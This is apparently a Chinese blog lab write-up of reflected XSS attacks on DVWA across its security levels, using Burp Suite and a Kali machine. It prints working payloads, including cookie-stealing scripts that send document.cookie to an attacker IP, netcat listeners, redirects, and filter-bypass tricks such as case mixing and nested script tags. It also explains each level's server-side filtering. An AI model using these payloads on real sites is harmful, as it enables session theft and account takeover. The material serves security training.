DVWA系列(五)—— 使用Burpsuite进行反射型XSS(反射型跨脚本攻击)

目录:

一、XSS说明:

  1. XSS简介
  2. XSS类型
  3. 漏洞形成的根源

二、反射型XSS:

  1. 原理示意图
  2. 实验环境
  3. 实验步骤
    安全级别:LOW
    - 重定向
    - 获取cookie
    安全级别:Medium
    安全级别:High
    安全级别:Impossible

一、XSS说明

1、XSS简介

XSS,跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的。

2、XSS类型
  • 反射型XSS:非持久化,需要欺骗着用户自己去点击链接才能触发XSS代码(服务器中没有这样的网页和内容),一般容易出现在搜索页面。特点:强窗警告、广告;JavaScript;在浏览器中执行。
  • 储存型XSS:持久化,代码是储存在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或者过滤不严格,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
  • DOM型XSS:文本对象模式XSS,通过修改页面的DOM节点形成的XSS,可储存型,可反射型,只取决于输入地点。
3、漏洞形成的根源
  • 服务器对用户提交的数据过滤不严;
  • 提交给服务器端的脚本被直接返回给其他用户端执行;
  • 脚本在客户端执行恶意操作;

二、反射型XSS

1、原理示意图:

(1)获取被攻击者的cookie
  • 1、黑客首先向服务器发送js脚本;
  • 2、服务器将含有js脚本的网页发给黑客;
  • 3、何可将js脚本页面的url发送给被攻击方;
  • 4、黑客获取被攻击方的cookie;

在这里插入图片描述

(2)重定向到第三方网站:
  • 1、黑客首先向服务器发送js脚本;
  • 2、服务器将含有js脚本的网页发给黑客;
  • 3、黑客将js脚本的页面的URL发送给被攻击方;
  • 4、被攻击者点击重定向到第三方网站;

在这里插入图片描述

2、实验环境:

(1)被攻击者:物理机Win7 ,安装BurpSuite,远程登录DVWA;

在这里插入图片描述

(2)DVWA服务器:虚拟机Win 7,启动PHPStudy;

在这里插入图片描述

(3)攻击者:虚拟机kali,IP地址:192.168.85.197

在这里插入图片描述

三、实验步骤:

安全级别:Low

1、设置安全级别为Low;

在这里插入图片描述

2、查看源码

在这里插入图片描述

3、源码分析

在源码中,可以看到直接引用来 name参数,并没有对参数做任何过滤;例如:输入a,则返回含有 ’ Hello a ’ 的js页面。

4、实验操作
4.1> 直接输入zcl,则返回Hello zcl;

在这里插入图片描述

4.2> 直接插入:,后弹出弹框;

在这里插入图片描述

  • 使用Burpsuite抓包查看,返回的页面信息为含有输入信息的js页面;

在这里插入图片描述
在这里插入图片描述

4.3> 输入元素标签事件:<body οnlοad=alert(‘xss’)>,弹出弹框xss。

在这里插入图片描述
在这里插入图片描述

4.4> 输入:<a href=http://192.168.85.223>登录</a>

在这里插入图片描述
在这里插入图片描述

4.5> <img src=http://192.168.85.223/a.jpg οnerrοr=alert(‘xss2’)> ——> 如果在服务器192.168.85.223中找不到图片a.jpg,则弹出弹框xss1;

在这里插入图片描述
在这里插入图片描述

4.6> 输入:<a href=’’ οnclick=alert(‘xss3’)>点击</a> ——> 点击“点击”超链接,弹出弹框xss3

注:href后有两个单引号,onclick前有一个空格。

在这里插入图片描述
在这里插入图片描述

重定向
4.7> 输入:<script>window.location=“http://www.baidu.com”</script> ——> 重定向到百度;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.8> 输入:<script>window.location=‘http://192.168.85.223’<\script> ——> 提交后,重定向到192.168.247.129的网站页面。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.9> 输入:<iframe src=‘http://192.168.37.128/a.jpg’ height=‘0’ width=‘0’></iframe> ——> 提交后,访问http://192.168.247.129/a.jpg

在这里插入图片描述在这里插入图片描述在这里插入图片描述

获取cookie
4.10> 在攻击者kali上书写a.js脚本,开启监听80 端口;

a.js脚本:

var img = new Image();
img.src = 'http://192.168.85.197:88/cookie.php?cookie='+document.cookie;
  • 输入:nc -vnlp 80 ——> 监听80端口;

在这里插入图片描述

4.11> 输入:<script>new Image().src=“http://192.168.85.197/c.php?output=”+document.cookie;</script> ——> #提交之前,在Kali(IP为192.168.85.197)上监听80端口,获取cookie值。

在这里插入图片描述
在这里插入图片描述
通过BurpSuite抓包,查看cookie值。

在这里插入图片描述
在这里插入图片描述

4.12> 输入:<script>alert(document.cookie)</script> ——> #直接弹出一个弹窗,显示cookie值

在这里插入图片描述
在这里插入图片描述

4.12> 输入:<script src=‘http:192.168.85.197/a.js’></script>

步骤:

  • 在Kali的 /var/www/html 目录下创建一个a.js脚本;
  • 在Kali的 /var/www/html 目录下开启Apache服务(开启apache服务:/etc/init.d/apache2 start);
  • 监听指定的端口88(命令:nc -vnlp 88);
  • 访问ip/a.js脚本;
  • 获取到a.js脚本实现的结果;
  • 首先在Kali上写a.js脚本,开启Apache服务,并监听指定的端口88;
    在这里插入图片描述
  • 输入 <script src=‘http://192.168.37.131/a.js’></script>
    在这里插入图片描述
  • 查看Kali监听到的cookie值;
    在这里插入图片描述
    在这里插入图片描述

安全级别:Medium

1、设置安全级别为:Medium

在这里插入图片描述

2、查看源码

在这里插入图片描述

3、源码分析

在这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本做字符串处理;

4、实验过程
4.1> 尝试输入:<script>alert(‘XSS’)</script> ——> 提交后,会将<script>替换成”,即把script脚本当做字符串来处理。在这里插入图片描述
解决办法:

方法一:<Script>alert(‘xss’)</script> ——> #将<script>可以写成<Script>,大小写混淆绕过
在这里插入图片描述
在这里插入图片描述
方法二:<scr<script>ipt>alert(‘XSS1’)</script> #嵌入绕过,可以将script嵌入到<script>中,例如<scr

在这里插入图片描述
在这里插入图片描述

安全级别:High

1、设置安全级别为High;

在这里插入图片描述

2、查看源码

在这里插入图片描述

3、源码分析:
  • High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容替换为空,使得双写绕过、大小写混淆绕过不在有效;(正则表达式中i表示不区分大小写);
  • 在High级别中,虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码;
4、实验过程:
使用Medium中的扫过方式就不在有效;

在这里插入图片描述
在这里插入图片描述

解决办法:

对于安全级别为High,只能添加对script的限制,但并诶限制其他的方式。

方法一:<body οnlοad=alert(‘XSS2’)>

在这里插入图片描述
在这里插入图片描述

方法二:<a href=http://192.168.85.255>登录</a>

在这里插入图片描述
在这里插入图片描述

安全级别:Impossible

1、设置安全级别为Impossible

在这里插入图片描述

2、查看源码

在这里插入图片描述

3、源码分析

当安全级别为impossible,使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现反射型XSS攻击;

预定义的字符是:
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值